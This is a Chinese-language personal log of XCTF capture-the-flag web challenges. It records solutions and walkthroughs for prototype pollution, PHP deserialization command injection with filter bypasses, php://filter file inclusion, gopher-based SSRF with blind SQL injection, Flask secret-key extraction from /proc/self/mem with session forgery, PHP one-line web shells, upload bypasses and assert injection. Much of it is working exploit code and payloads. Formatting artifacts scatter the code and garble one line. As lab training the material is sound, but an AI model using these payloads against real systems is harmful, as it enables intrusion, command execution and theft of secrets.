攻防世界刷题小记

文章目录

First:wife_wife

wife_wife这道题是一个黑盒测试,自己打没有打通题目,看了WP看懂的
这里主要是js的原型链污染,利用的是类Object.assign进行的一个原型链污染
WP中的源码:

app.post('/register', (req, res) => {
    
    
    let user = JSON.parse(req.body)
    if (!user.username || !user.password) {
    
    
        return res.json({
    
     msg: 'empty username or password', err: true })
    }
    if (users.filter(u => u.username == user.username).length) {
    
    
        return res.json({
    
     msg: 'username already exists', err: true })
    }
    if (user.isAdmin && user.inviteCode != INVITE_CODE) {
    
    
        user.isAdmin = false
        return res.json({
    
     msg: 'invalid invite code', err: true })
    }
    let newUser = Object.assign({
    
    }, baseUser, user) //就是这里,原型链污染
    users.push(newUser)
    res.json({
    
     msg: 'user created successfully', err: false })
})

整个题目可以知道,admin就能读取flag
所以只要我们注册的身份为admin即可
第一个第二个if还是比较好绕过,主要是第三个我们没有invite邀请码,故我们要想办法绕过一下
看到了后面那个Object.assign可以进行原型链污染,我们可以先普通身份注册,然后用"proto"去改变isAdmin属性为true

{“username”:“e”,“password”:“e”,“_proto_”:{“isAdmin”:true}}

let newUser = Object.assign({}, baseUser, user)这一步作用是将baseUser和user合并成一个新的newUser
会将isAdmin变为true并且绕过第三个if
第三个if绕过是因为没有传一个键名为isAdmin故直接绕过(即isAdmin为false)

总结: 以后看到json数据在body里面,直接猜测原型链污染,进行盲打构造

Second ez_curl(未解决)

<?php
highlight_file(__FILE__);
$url = 'http://back-end:3000/flag?';
$input = file_get_contents('php://input');  //php://input是php为协议通过POST传入数据,赋值给左值$input 
$headers = (array)json_decode($input)->headers;      //  将传入的值给json解析一下,将其json数据的hearder转换为数组赋值给左值
for($i = 0; $i < count($headers); $i++){
    
            //判断数组的长度,进行一次遍历
    $offset = stripos($headers[$i], ':');       //stripos查找字符首次出现的位置
    $key = substr($headers[$i], 0, $offset);    //截取字串  offest为正向前截取多少个字符,为负向后截取多少个字符
    $value = substr($headers[$i], $offset + 1); //截取key后面所有值,即offset+1后面所有的子串
    if(stripos($key, 'admin') > -1 && stripos($value, 'true') > -1){
    
            //如果key里面没有admin   value里面没有true  即为假
        die('try hard');
    }
}
$params = (array)json_decode($input)->params;  //将输入的转换为数组形势存储
$url .= http_build_query($params);      //使用 http_build_query 函数将 $params 数组转换为 URL 查询字符串的格式,并将其追加到 $url 变量之后。
$url .= '&admin=false';                 //在url后面拼接一个&admin=false
$ch = curl_init();                      //初始化一个curl
curl_setopt($ch, CURLOPT_URL, $url);    
curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
curl_setopt($ch, CURLOPT_TIMEOUT_MS, 5000);
curl_setopt($ch, CURLOPT_NOBODY, FALSE);
$result = curl_exec($ch);
curl_close($ch);   //将初始化的$ch存储在result中
echo $result;
try hard1
const express = require('express');

const app = express();

const port = 3000;
const flag = process.env.flag;   

app.get('/flag', (req, res) => {
    
    
    if(!req.query.admin.includes('false') && req.headers.admin.includes('true')){
    
     //url头里面的 admin不能包含false必须为true
        res.send(flag);     
    }else{
    
    
        res.send('try hard');   
    }
});

app.listen({
    
     port: port , host: '0.0.0.0'});

考点:
express的parameterLimit默认为1000
根据rfc,header字段可以通过在每一行前面至少加一个SP或HT来扩展到多行

Third ezbypass-cat

这题考了一个漏洞华夏 ERP之授权绕过漏洞
在这里插入图片描述
这里有关键字
payload:
在这里插入图片描述

总结:还是经验不足,没有做过渗透,了解的框架漏洞太少

Forth unseping

<?php
highlight_file(__FILE__);

class ease{
    
    
    
    private $method;//ping
    private $args;//shell
    function __construct($method, $args) {
    
    
        $this->method = $method;
        $this->args = $args; //
    }
 
    function __destruct(){
    
       //对象被释放时调用
        if (in_array($this->method, array("ping"))) {
    
    // this->method[0] = ping  检测数组里面是否有 ping
            call_user_func_array(array($this, $this->method), $this->args);  //回调函数,args为数组的形式返回,将$this->method做为参数返回给ping函数
        }
    } //执行ping函数
 
    function ping($ip){
    
             
        exec($ip, $result);   //exec是一个拿shell函数
        var_dump($result);
    }

    function waf($str){
    
    
        if (!preg_match_all("/(\||&|;| |\/|cat|flag|tac|php|ls)/", $str, $pat_array)) {
    
      //pat_array为搜索到正则表达式里面特殊字符的次数
            return $str;          
        } else {
    
    
            echo "don't hack";
        }
    }
 
    function __wakeup(){
    
          //自动调用
        foreach($this->args as $k => $v) {
    
     //在每次循环迭代中,将当前元素的键赋值给变量 $k,将当前元素的值赋值给变量 $v。
            $this->args[$k] = $this->waf($v);     
        }
    }   
}

$ctf=@$_POST['ctf'];
@unserialize(base64_decode($ctf));
?>

第一次poc脚本:

<?php
 
class ease{
    
    
private $method;
private $args;
function __construct($method, $args) {
    
    
    $this->method = $method;
    $this->args = $args;
}
  
}
$a = new ease("ping",array('l""s'));
$b = serialize($a);
echo $b;
echo'</br>';
echo base64_encode($b);
?>

这里的绕过l""s的原理是:
在这里插入图片描述
第一次出来的是 :
在这里插入图片描述

<?php
 
class ease{
    
    
private $method;
private $args;
function __construct($method, $args) {
    
    
    $this->method = $method;
    $this->args = $args;
}
  
}
$a = new ease("ping",array('l""s${IFS}fl""ag_1s_here'));// ${IFS}在linux里面是分隔符的意思
$b = serialize($a);
echo $b;
echo base64_encode($b);
?>

我们知道了在flag_1s_here目录下的flag_831b69012c67b35f.php这个文件里面
执行下面任何三个命令都可以得到flag,但是怎么绕过过滤呢

cat flag_1s_here/flag_831b69012c67b35f.php
cd flag_1s_here;cat flag_831b69012c67b35f.php
cd flag_1s_here&&cat flag_831b69012c67b35f.php

八进制转换脚本:

str = 'cat flag_1s_here/flag_831b69012c67b35f.php'
for i in str:
    print(oct(ord(i)).replace('0o','\\'),end='')
    # ord函数是返回i的ASCII码值,oct将传入的整数按照8进制返回
    #在python中八进制前缀为 0o,将0o转换为”\“

最后一个绕过的原理:
在这里插入图片描述
$(printf ‘\154\163’) \154 = l \163 = s 故执行ls
最后的poc脚本:

<?php

class ease{
    
    
    
    private $method;//ping
    private $args;//shell
    function __construct($method, $args) {
    
    
        $this->method = $method;
        $this->args = $args; //
    }
}
$a = new ease("ping",array('$(printf${IFS}"\143\141\164\40\146\154\141\147\137\61\163\137\150\145\162\145\57\146\154\141\147\137\70\63\61\142\66\71\60\61\62\143\66\67\142\63\65\146\56\160\150\160")'));

$b = serialize($a);
echo $b;
echo base64_encode($b);
?>

Fivth file_include

文件包含漏洞的总结

 <?php
highlight_file(__FILE__);
    include("./check.php");
    if(isset($_GET['filename'])){
    
    
        $filename  = $_GET['filename'];
        include($filename);
    }
?>

在PHP中,include和file_get_contents是两个用于处理文件的函数,它们有以下区别: 功能不同:
1 include函数用于将指定文件的内容包含到当前文件中,并执行包含的文件中的PHP代码。
file_get_contents函数用于读取文件的内容,并将其作为字符串返回,不会执行文件中的PHP代码。 返回值:

2.include函数返回布尔值(true或false),表示是否成功包含文件。
file_get_contents函数返回文件的内容作为字符串,如果读取失败则返回false。 用途不同:

3.include函数通常用于包含和执行其他PHP文件,例如包含页面模板、函数库、配置文件等。
file_get_contents函数通常用于读取文件的内容,例如读取文本文件、JSON文件、XML文件等。 性能:

4.include函数会将包含的文件整体加载到内存中,因此如果文件较大或包含多个文件,可能会占用较多的内存和执行时间。
file_get_contents函数只读取文件的内容,并将其作为字符串返回,相对于include函数性能更高效。

综上所述,include函数适合用于包含和执行其他PHP文件,而file_get_contents函数适合用于读取文件的内容并进行处理。具体使用哪个函数,取决于你的需求和场景。

故用include读取文件返回必须用到伪协议
发现php://filter/read=convert.base64-encode/resource=check.php被过滤了
在这里插入图片描述<?php if($_GET["filename"]){ $preg_match_username = 'return preg_match("/base|be|encode|print|zlib|quoted|write|rot13|read|string/i", $_GET["filename"]);'; if(eval($preg_match_username)) { die("do not hack!"); } }

convert.过滤器支持convert.iconv. 格式,使用方法:

convert.iconv.<input-encoding>.<output-encoding> 或
convert.iconv.<input-encoding>/<output-encoding>
例如:
convert.iconv.UCS-4*.UCS-4BE —> 将指定的文件从UCS-4*转换为UCS-4BE 输出

引用的文章
可以用两个转换过滤器string.* convert.iconv去绕过,但是string被过滤了,故我们就用convert.iconv去绕过
编码官网
下面的编码方式不完整:

UCS-4*
UCS-4BE
UCS-4LE*
UCS-2
UCS-2BE
UCS-2LE
UTF-32*
UTF-32BE*
UTF-32LE*
UTF-16*
UTF-16BE*
UTF-16LE*
UTF-7
UTF7-IMAP
UTF-8*
ASCII*
EUC-JP*
SJIS*
eucJP-win*
SJIS-win*
ISO-2022-JP
ISO-2022-JP-MS
CP932
CP51932
BASE64

关于BP爆破的模式的学习

然后用BP的intruder模块的Attack type模式的Cluster bomb模式进行爆破
在这里插入图片描述
最后的payload:

?filename=php://filter/convert.iconv.UTF-8*.UCS-4LE*/resource=flag.php

考点:
通过用转换器进行绕过伪协议的关键字过滤

Sixth easyphp

<?php
highlight_file(__FILE__);
$key1 = 0;
$key2 = 0;

$a = $_GET['a'];
$b = $_GET['b'];

if(isset($a) && intval($a) > 6000000 && strlen($a) <= 3){
    
    
    if(isset($b) && '8b184b' === substr(md5($b),-6,6)){
    
    
        $key1 = 1;
        }else{
    
    
            die("Emmm...再想想");
        }
    }else{
    
    
    die("Emmm...");
}

$c=(array)json_decode(@$_GET['c']);
if(is_array($c) && !is_numeric(@$c["m"]) && $c["m"] > 2022){
    
    
    if(is_array(@$c["n"]) && count($c["n"]) == 2 && is_array($c["n"][0])){
    
    
        $d = array_search("DGGJ", $c["n"]);
        $d === false?die("no..."):NULL;
        foreach($c["n"] as $key=>$val){
    
    
            $val==="DGGJ"?die("no......"):NULL;
        }
        $key2 = 1;
    }else{
    
    
        die("no hack");
    }
}else{
    
    
    die("no");
}

if($key1 && $key2){
    
    
    include "Hgfks.php";
    echo "You're right"."\n";
    echo $flag;
}

?>

第一if(isset($a) && intval($a) > 6000000 && strlen($a) <= 3)绕过:
这个直接科学计数法绕过
在本地调试科学计数法一直不行,后面才发现和版本有关系

第二个if(isset($b) && ‘8b184b’ === substr(md5($b),-6,6))绕过没有什么好的办法直接python脚本,这个脚本一会就跑出来了

import hashlib
target_string = '8b184b'
def md5_last5(string):
    # 计算字符串的md5散列值
    md5_hash = hashlib.md5(string.encode()).hexdigest()
    # 截取最后5位字符
    last_5 = md5_hash[-6:]
    return last_5
for j in range(1,9999999999):
    i = str(j)
    print(md5_last5(i))
    if(md5_last5(i)==target_string):
        print(i)
        break

接下来第三个if(is_array($c) && !is_numeric(@$c[“m”]) && $c[“m”] > 2022) 这里直接通过控制键值为"m"来进行判断就行比较简单,而is_numberic()可以直接用“123456a"进行一下绕过

第四个if(is_array(@$c[“n”]) && count($c[“n”]) == 2 && is_array($c[“n”][0]))这个count判断数组的长度,is_array判断c[n]第一个值是否为数组,相当于嵌套了一个数组,有点二维数组的感觉,比较容易绕过

最后一个判断:

  $d = array_search("DGGJ", $c["n"]);
        $d === false?die("no..."):NULL;
        foreach($c["n"] as $key=>$val){
    
    
            $val==="DGGJ"?die("no......"):NULL;

这个代码的意思是首先在数组里面找出是否有"DGGJ",这个也是一种比较,foreach遍历如果有"DGGJ"就die()了这里矛盾

绕过原理:我们这里是利用了一个php语言的特性,当字符串和数字比较时,字符串会变成0,故如果我们把其c[n]下一个元素设置为0,DGGJ与0比较,DGGJ会变成0,0和0相等返回ture,故绕过,这个也是前面is_numberic函数绕过的原理

故最后的payload:

?a=1e7&b=53724&c={
    
    "m":"12345a","n":[[1,2],0]}

总结:在本地环境进行测试时,可能因为环境原因出现不太结果,多尝试一下可能有不一样的结果,总之多试试。

Seventh fileclude

WRONG WAY! <?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET["file1"]) && isset($_GET["file2"]))
{
    
    
    $file1 = $_GET["file1"];
    $file2 = $_GET["file2"];
    if(!empty($file1) && !empty($file2))
    {
    
    
        if(file_get_contents($file2) === "hello ctf")
        {
    
    
            include($file1);
        }
    }
    else
        die("NONONO");
} 

这题一个很简单的php伪协议利用,但是我做了半天因为php://filter协议写错了
最后的payload:

?file2=php://input&file1=php://filter/read=convert.base64-encode/resource=flag.php

伪协议漏洞梳理篇

Eighth very_easy_sql(未补齐)

这题考的是一个sql注入和ssrf的gopher://伪协议混合使用
注意:
如果是POST请求,我们必须需要这些参数: POST Host Content-Type Content-length
而GET则不用

import base64
import datetime
import urllib.parse
import requests
import time

#cookie = "this_is_your_cookie=YWRtaW4nKSBhbmQgaWYoMSxzbGVlcCgxMCksMSkj"
#Cookie: {}
# host = "127.0.0.1:80"
# content = "uname=admin&passwd=admin"
# content_length = len(content)
# test =\
# """POST /index.php HTTP/1.1
# Host: {}
# User-Agent: curl/7.43.0
# Accept: */*
# Content-Type: application/x-www-form-urlencoded
# Content-Length: {}
#
# {}
# """.format(host,content_length,content)
# tmp = urllib.parse.quote(test)
# new = tmp.replace("%0A","%0D%0A")
# result = urllib.parse.quote(new)
# print("gopher://"+host+"/_"+result)
# def get_flag():
#     flag = ""
#     url = "http://61.147.171.105:59395/use.php?url="
#     for i in range(1,60):
#         for j in range(33,130):
#             poc = "') union select 1,2,if(ascii(substr((select * from flag),{},1))={},sleep(2),1) #".format(i,j)
#             temp = str(base64.b64encode(poc.encode("utf-8")),"utf-8")
#             poc1 = "gopher://127.0.0.1:80/_GET%2520/index.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%253A80%250D%250AUser-Agent%253A%2520curl/7.43.0%250D%250AAccept%253A%2520%252A/%252A%250D%250ACookie%253A%2520this_is_your_cookie%253D"+temp+"%250D%250AContent-Type%253A%2520application/x-www-form-urlencoded%250D%250A"
#             now_time = time.time()
#             url = url + poc1
#             re = requests.get(url=url)
#             end_time = time.time()
#             t = end_time-now_time
#             print(t)
#             if t > 6:
#                 flag += chr(j)
#                 print(j)
#                 print(flag)
# get_flag()

总结:当进行sql注入时,应该先考虑是否有报错注入,bool盲注等等注入,再来考虑时间盲注,时间盲注受其他因素影响较大,时间注入可以用timeout,try,except来写

Ninth catcat-new

这题进去首先是几只猫猫,我们点击了其中一只,发现参数file很有特点,猜测是不是任意文件读取,进行目录穿越,最后在?file=…/…/etc/passwd这个路径下回显了
在这里插入图片描述
下一步是读取网站源码。在info界面抓个包,发现服务器是python。既然是python,当前进程肯定是由python xxx.py启动的,只要能知道当时的命令是什么,就能获取xxx.py的名字,进而读取源码。linux确实有这么个文件,/proc/self/cmdline,用于获取当前启动进程的完整命令
最后在?file=…/…/proc/self/cmdline路径回显发现是app.py
然后再次进行目录穿越进行读源码的操作?file=…/app.py读到了源码
在这里插入图片描述看大佬博客才知道,原来这个是python的byte形式
可以直接使用bytes的decode()方法获取格式化的源码,如下:

a = b'abc\nabc'
print(a.decode())

用这种方法得到源码:

import os
import uuid
from flask import Flask, request, session, render_template, Markup
from cat import cat

flag = ""
app = Flask(
    __name__,
    static_url_path='/',
    static_folder='static'
)
app.config['SECRET_KEY'] = str(uuid.uuid4()).replace("-",
                                                     "") + "*abcdefgh"  # SECRET_KEY为uuid替换-为空后加上*abcdefgh。这里刻意的*abcdefgh是在提示我们secret key的格式
if os.path.isfile("/flag"):
    flag = cat("/flag")
    os.remove("/flag")  # 这里读取flag后删掉了flag,防止之前任意文件读取出非预期解


@app.route('/', methods=['GET'])
def index():
    detailtxt = os.listdir('./details/')
    cats_list = []
    for i in detailtxt:
        cats_list.append(i[:i.index('.')])

    return render_template("index.html", cats_list=cats_list, cat=cat)


@app.route('/info', methods=["GET", 'POST'])
def info():
    filename = "./details/" + request.args.get('file', "")
    start = request.args.get('start', "0")
    end = request.args.get('end', "0")
    name = request.args.get('file', "")[:request.args.get('file', "").index('.')]

    return render_template("detail.html", catname=name, info=cat(filename, start, end))  # cat是上面引用进来的函数


@app.route('/admin', methods=["GET"])
def admin_can_list_root():
    if session.get('admin') == 1:  # session为admin就能得到flag,此处需要session伪造
        return flag
    else:
        session['admin'] = 0
    return "NoNoNo"


if __name__ == '__main__':
    app.run(host='0.0.0.0', debug=False, port=5637)

在源码中发现还存在cat文件,再次读取cat.py

import os, sys, getopt


def cat(filename, start=0, end=0) -> bytes:
    data = b''

    try:
        start = int(start)
        end = int(end)

    except:
        start = 0
        end = 0

    if filename != "" and os.access(filename, os.R_OK):
        f = open(filename, "rb")

        if start >= 0:
            f.seek(start)
            if end >= start and end != 0:
                data = f.read(end - start)

            else:
                data = f.read()

        else:
            data = f.read()

        f.close()

    else:
        data = ("File `%s` not exist or can not be read" % filename).encode()

    return data


if __name__ == '__main__':
    opts, args = getopt.getopt(sys.argv[1:], '-h-f:-s:-e:', ['help', 'file=', 'start=', 'end='])
    fileName = ""
    start = 0
    end = 0

    for opt_name, opt_value in opts:
        if opt_name == '-h' or opt_name == '--help':
            print("[*] Help")
            print("-f --file   File name")
            print("-s --start   Start position")
            print("-e --end   End position")
            print("[*] Example of reading /etc/passwd")
            print("python3 cat.py -f /etc/passwd")
            print("python3 cat.py --file /etc/passwd")
            print("python3 cat.py -f /etc/passwd -s 1")
            print("python3 cat.py -f /etc/passwd -e 5")
            print("python3 cat.py -f /etc/passwd -s 1 -e 5")
            exit()

        elif opt_name == '-f' or opt_name == '--file':
            fileName = opt_value

        elif opt_name == '-s' or opt_name == '--start':
            start = opt_value

        elif opt_name == '-e' or opt_name == '--end':
            end = opt_value

    if fileName != "":
        print(cat(fileName, start, end))

    else:
        print("No file to read")

看了app.py的源码可知,我们伪造admin的身份需要SECRET_KEY值,这题比较重要的是在堆里面读取地址,而我们的这个路由下是可以读取文件的,三个参数都可控filename start end

@app.route('/info', methods=["GET", 'POST'])
def info():
    filename = "./details/" + request.args.get('file', "")
    start = request.args.get('start', "0")
    end = request.args.get('end', "0")
    name = request.args.get('file', "")[:request.args.get('file', "").index('.')]

    return render_template("detail.html", catname=name, info=cat(filename, start, end))

由/proc/self/maps获取可读写的内存地址,再根据这些地址读取/proc/self/mem来获取secret key
在这里插入图片描述用下面这个大佬的脚本直接读取flag

import requests
import re
import ast, sys
from abc import ABC
from flask.sessions import SecureCookieSessionInterface

url = "http://61.147.171.105:51817/"

# 此程序只能运行于Python3以上
if sys.version_info[0] < 3:  # < 3.0
    raise Exception('Must be using at least Python 3')


# ----------------session 伪造,单独用也可以考虑这个库: https://github.com/noraj/flask-session-cookie-manager ----------------
class MockApp(object):
    def __init__(self, secret_key):
        self.secret_key = secret_key


class FSCM(ABC):
    def encode(secret_key, session_cookie_structure):
        # Encode a Flask session cookie
        try:
            app = MockApp(secret_key)

            session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
            si = SecureCookieSessionInterface()
            s = si.get_signing_serializer(app)

            return s.dumps(session_cookie_structure)
        except Exception as e:
            return "[Encoding error] {}".format(e)
            raise e


# -------------------------------------------


# 由/proc/self/maps获取可读写的内存地址,再根据这些地址读取/proc/self/mem来获取secret key
s_key = ""
bypass = "../.."
# 请求file路由进行读取
map_list = requests.get(url + f"info?file={
      
      bypass}/proc/self/maps")
map_list = map_list.text.split("\\n")
for i in map_list:
    # 匹配指定格式的地址
    map_addr = re.match(r"([a-z0-9]+)-([a-z0-9]+) rw", i)
    if map_addr:
        start = int(map_addr.group(1), 16)
        end = int(map_addr.group(2), 16)
        print("Found rw addr:", start, "-", end)

        # 设置起始和结束位置并读取/proc/self/mem
        res = requests.get(f"{
      
      url}/info?file={
      
      bypass}/proc/self/mem&start={
      
      start}&end={
      
      end}")
        # 用到了之前特定的SECRET_KEY格式。如果发现*abcdefgh存在其中,说明成功泄露secretkey
        if "*abcdefgh" in res.text:
            # 正则匹配,本题secret key格式为32个小写字母或数字,再加上*abcdefgh
            secret_key = re.findall("[a-z0-9]{32}\*abcdefgh", res.text)
            if secret_key:
                print("Secret Key:", secret_key[0])
                s_key = secret_key[0]
                break

# 设置session中admin的值为1
data = "{'admin':1}"
# 伪造session
headers = {
    
    
    "Cookie": "session=" + FSCM.encode(s_key, data)
}
# 请求admin路由
try:
    flag = requests.get(url + "admin", headers=headers)
    print("Flag is", flag.text)
    print((FSCM.encode(s_key,data)))
except:
    print("Something error")

总结:这题session伪造不知道一直/admin路由伪造不成功很奇怪,在内存中读key的原理还不是特别理解

Tenth fileinclude

<?php
if( !ini_get('display_errors') ) {
    
    
  ini_set('display_errors', 'On');
  }
error_reporting(E_ALL);
$lan = $_COOKIE['language'];
if(!$lan)
{
    
    
	@setcookie("language","english");
	@include("english.php");
}
else
{
    
    
	@include($lan.".php");
}
$x=file_get_contents('index.php');
echo $x;
?>

这题通过cookie传一个lauguage的值用php://filter伪协议直接读取flag就行

Cookie: language=php://filter/read=convert.base64-encode/resource=/var/www/html/flag

Eleventh inget

这题是一个盲打的题目很抽象,是考了一个简单的sql注入,万能注入公式绕过
别入写的详细WP
这里在后端相当于是有一个’‘单引号闭合,然后我写入’ or ‘1=1就相当于变成了id=’ or '1=1’变成了一个万能公式绕过

’ or '1=1

Twelfth SSRF Me

这个unicode-utf编码网站找了好久,这个也叫url编码绕过
SSRF题目做的比较少,之气做了一个结合ssrf进行的一个sql注攻击,这里名字也叫ssrf,刚刚拿到这个道题目的时候我直接上来用gopher://伪协议,然后开始写脚本,突然发现一个问题,url也是post请求,但是content-length长度又跟url传参有关,所以脚本一直没写好,修改了很多次,还是知道的东西太少对ssrf

对SSRF与伪协议的初步总结:

1.file://伪协议,我们运用这个协议和ssrf相结合,可以对文件进行读取 file:///etc/passwd file:///flag.php
2.dict://协议
​ dict 协议是一个字典服务器协议,通常用于让客户端使用过程中能够访问更多的字典源,能用来探测端口的指纹信息
在这里插入图片描述

dict://127.0.0.1:6379 //探测redis是否存活
dict://127.0.0.1:6379/info //探测端口应用信息

3.gopher://协议
个人认为这个gopher协议相当与在发了一次请求包,发给危险函数,然后危险函数通过发的请求报,访问目标站点,然后可以进入内网
gopher在SSRF中的作用

SSRF对过滤的绕过:

在这里插入图片描述

<?php   //进制转换脚本
$ip = '127.0.0.1';
$ip = explode('.',$ip);
$r = ($ip[0] << 24) | ($ip[1] << 16) | ($ip[2] << 8) | $ip[3] ;
if($r < 0) {
    
    
    $r += 4294967296;
}
echo "十进制:";
echo $r;
echo "八进制:";
echo decoct($r);
echo "十六进制:";
echo dechex($r);
?>在这里插入代码片

在这里插入图片描述
在这里插入图片描述在这里插入图片描述DNS rebinding攻击

大佬讲的SSRF

总结:个人感觉SSRF很多时候都是配合很多考点一起考比如sql注入,反序列化等等

Forteenth easyupload

这题一个有四个地方需要绕过

  1. 检测文件是否包含有php的字样
  2. 检测后缀是否有ph和htaccess
  3. 检测文件头部信息
  4. 检测MIME头部信息
    绕过方法为:
    1.我们可以使用短标签名或者大小写绕过
<?eval($_REQUEST['cmd]);?> <?pHp eval($_REQUEST['cmd']); ?>

2.我们可以使用.user.ini文件来进行对文件上传重定向,把上传的指定文件包含在所有php文件中

auto_prepend_file=a.jpg

3.检测头部信息我们直接在头部添加一个
GIF89a
4.MIME我们可以通过BP抓包来进行修改绕过
注意点: 我们上传指定文件图片时(图片马),我们可以通过F12查看传到那个文件里面了
文件上传

Fifteenth warmup(未完成)

这题有附件,代码审计
这题考察的是一个反序列化结合sql注入,

Sixteenth wzsc_文件上传

条件竞争
WP

Seventeenth------Thirtieth(一些简单的题目,值得记录的都记录了一下)

command_execution

payload:
127.0.0.1 && find / -name “flag*”
127.0.0.1 &&cat /home/flag.txt

PHP2

这题先用扫描器扫描网站目录,扫出来一个index.php的文件,但是当我们url+/index.php时又没有源码回显,用index.phps去试试,发现成功, index.phps=index.php+source
因为浏览器本身会进行因此url解码

php_rce(未完成)

Thirty-first 文件包含

这题和我们第五题很像,基本是一样的,所有我们直接用同样的思路直接一下就可以过了,我们直接看第5题的WP即可

Thirty-second easy_web(未解决ssti)

Thirty-three love_math(未完成)

Thirty-forth web2

这题考的一个源码分析,挺简单的一个题目

<?php
$miwen="a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws";

function encode($str){
    
    
    $_o=strrev($str);//反转
    echo $_o;
        
    for($_0=0;$_0<strlen($_o);$_0++){
    
    
        $_c=substr($_o,$_0,1);   // 一个一个的截取字符
        $__=ord($_c)+1;          // 将其转化为ascii并加1
        $_c=chr($__);            // 将ascii其转化为字符
        $_=$_.$_c;               // 将原来
    } 
    return str_rot13(strrev(base64_encode($_)));    
}
highlight_file(__FILE__);
?>

直接把一步一步逆向过来就行,很简单

$miwen="a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws";
$answer = str_rot13($miwen);
$ans1 = strrev($answer);
$ans2 = base64_decode($ans1);
for($_a = 0 ; $_a<strlen($ans2);$_a++)
{
    
    
    $ans3 = substr($ans2,$_a,1);
    $ans4 = ord($ans3)-1;
    $ans5 = chr($ans4);
    $final_ans = $final_ans.$ans5;
}
    var_dump(strrev($final_ans));

Thirty-fivth upload1

这题直接上传一个含有一句话木马的图片然后BP抓包修改后缀即可上传成功,然后直接用中国蚁剑连接找到flag.php文件即可

Thirty-sixth mfw

这题也比较简单,考了一个git源码泄露,下载出来源码和一系列目录,然后我们根据源码分析进行了命令拼接得到了shell

<?php

if (isset($_GET['page'])) {
    
    
	$page = $_GET['page'];
} else {
    
    
	$page = "home";
}

$file = "templates/" . $page . ".php";  

// I heard '..' is dangerous!   
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");  //利用这里构造poc  

// TODO: Make this look nice
assert("file_exists('$file')") or die("That file doesn't exist!");

?>
<!DOCTYPE html>
<html>
	<head>
		<meta charset="utf-8">
		<meta http-equiv="X-UA-Compatible" content="IE=edge">
		<meta name="viewport" content="width=device-width, initial-scale=1">
		
		<title>My PHP Website</title>
		
		<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/twitter-bootstrap/3.3.7/css/bootstrap.min.css" />
	</head>
	<body>
		<nav class="navbar navbar-inverse navbar-fixed-top">
			<div class="container">
		    	<div class="navbar-header">
		    		<button type="button" class="navbar-toggle collapsed" data-toggle="collapse" data-target="#navbar" aria-expanded="false" aria-controls="navbar">
		            	<span class="sr-only">Toggle navigation</span>
		            	<span class="icon-bar"></span>
		            	<span class="icon-bar"></span>
		            	<span class="icon-bar"></span>
		          	</button>
		          	<a class="navbar-brand" href="#">Project name</a>
		        </div>
		        <div id="navbar" class="collapse navbar-collapse">
		          	<ul class="nav navbar-nav">
		            	<li <?php if ($page == "home") {
    
     ?>class="active"<?php } ?>><a href="?page=home">Home</a></li>
		            	<li <?php if ($page == "about") {
    
     ?>class="active"<?php } ?>><a href="?page=about">About</a></li>
		            	<li <?php if ($page == "contact") {
    
     ?>class="active"<?php } ?>><a href="?page=contact">Contact</a></li>
						<!--<li <?php if ($page == "flag") {
    
     ?>class="active"<?php } ?>><a href="?page=flag">My secrets</a></li> -->
		          	</ul>
		        </div>
		    </div>
		</nav>
		
		<div class="container" style="margin-top: 50px">
			<?php
				require_once $file;
			?>
			
		</div>
		
		<script src="https://cdnjs.cloudflare.com/ajax/libs/jquery/1.12.4/jquery.min.js" />
		<script src="https://cdnjs.cloudflare.com/ajax/libs/twitter-bootstrap/3.3.7/js/bootstrap.min.js" />
	</body>
</html>

assert(“strpos(‘$file’, ‘…’) === false”) or die(“Detected hacking attempt!”); //利用这里构造poc
这里可以进行poc构造,有点像sql注入原理
payload: pwn’) or system(‘cat templates/flag.php’);// 成功注入

Thirty-seventh lottery

git泄露下载源码

function buy($req){
    
    
	require_registered();
	require_min_money(2);   //  $money == 1

	$money = $_SESSION['money'];   //money
	$numbers = $req['numbers'];	   // req 数组的键值number的
	$win_numbers = random_win_nums();   
	$same_count = 0;
	for($i=0; $i<7; $i++){
    
    //绕过这
		if($numbers[$i] == $win_numbers[$i]){
    
    
			$same_count++;       // samecout的个数决定下面的case
		}
	}
	switch ($same_count) {
    
       ///7
		case 2:
			$prize = 5;
			break;
		case 3:
			$prize = 20;
			break;
		case 4:
			$prize = 300;
			break;
		case 5:
			$prize = 1800;
			break;
		case 6:
			$prize = 200000;
			break;
		case 7:
			$prize = 5000000;
			break;
		default:
			$prize = 0;
			break;
	}
	$money += $prize - 2;
	$_SESSION['money'] = $money;
	response(['status'=>'ok','numbers'=>$numbers, 'win_numbers'=>$win_numbers, 'money'=>$money, 'prize'=>$prize]);
}

这题的关键点在这段代码
想要买flag只要通过这里加钱
if($numbers[$i] == w i n n u m b e r s [ win_numbers[ winnumbers[i]) 这里是关键 == 弱比较绕过
原理:

<?php
var_dump((true==5));  ===> true
var_dump((true==0));  ===>  false
var_dump((true=="11")); ===> true
var_dump((5=="12"));		===> false
var_dump((0=="DSADAS"));	===> true
var_dump((0=="1200000")); ===>false
var_dump((0=="A"));	===>true
?>

用这样的payload绕过

{
    
    "action":"buy",
"numbers":[true,true,true,true,true,true,true]}

Thirty-eighteenth upload

这题名字upload有点误导人,这题其实是一个sql注入,文件头名字注入,设置了文件后缀白名单
payload:

s'+(selselectect CONV(substr(hex(dAtaBaSe()),1,12),16,10))+'.jpg    131277325825392 web_up
s'+(selselectect CONV(substr(hex(dAtaBaSe()),13,12),16,10))+'.jpg   load

s'+(selselectect+CONV(substr(hex((selselectect table_name frfromom information_schema.tables where table_schema = 'web_upload' limit 1,1)),1,12),16,10))+'.jpg  114784820031327  hello_
s'+(selselectect+CONV(substr(hex((selselectect table_name frfromom information_schema.tables where table_schema = 'web_upload' limit 1,1)),13,12),16,10))+'.jpg  112615676665705 flag_i
s'+(selselectect+CONV(substr(hex((selselectect table_name frfromom information_schema.tables where table_schema = 'web_upload' limit 1,1)),25,12),16,10))+'.jpg  126853610566245 s_here


s'+(selselectect+CONV(substr(hex((selselectect column_name frfromom information_schema.columns where table_name = 'hello_flag_is_here' limit 0,1)),1,12),16,10))+'.jpg 115858377367398 i_am_f
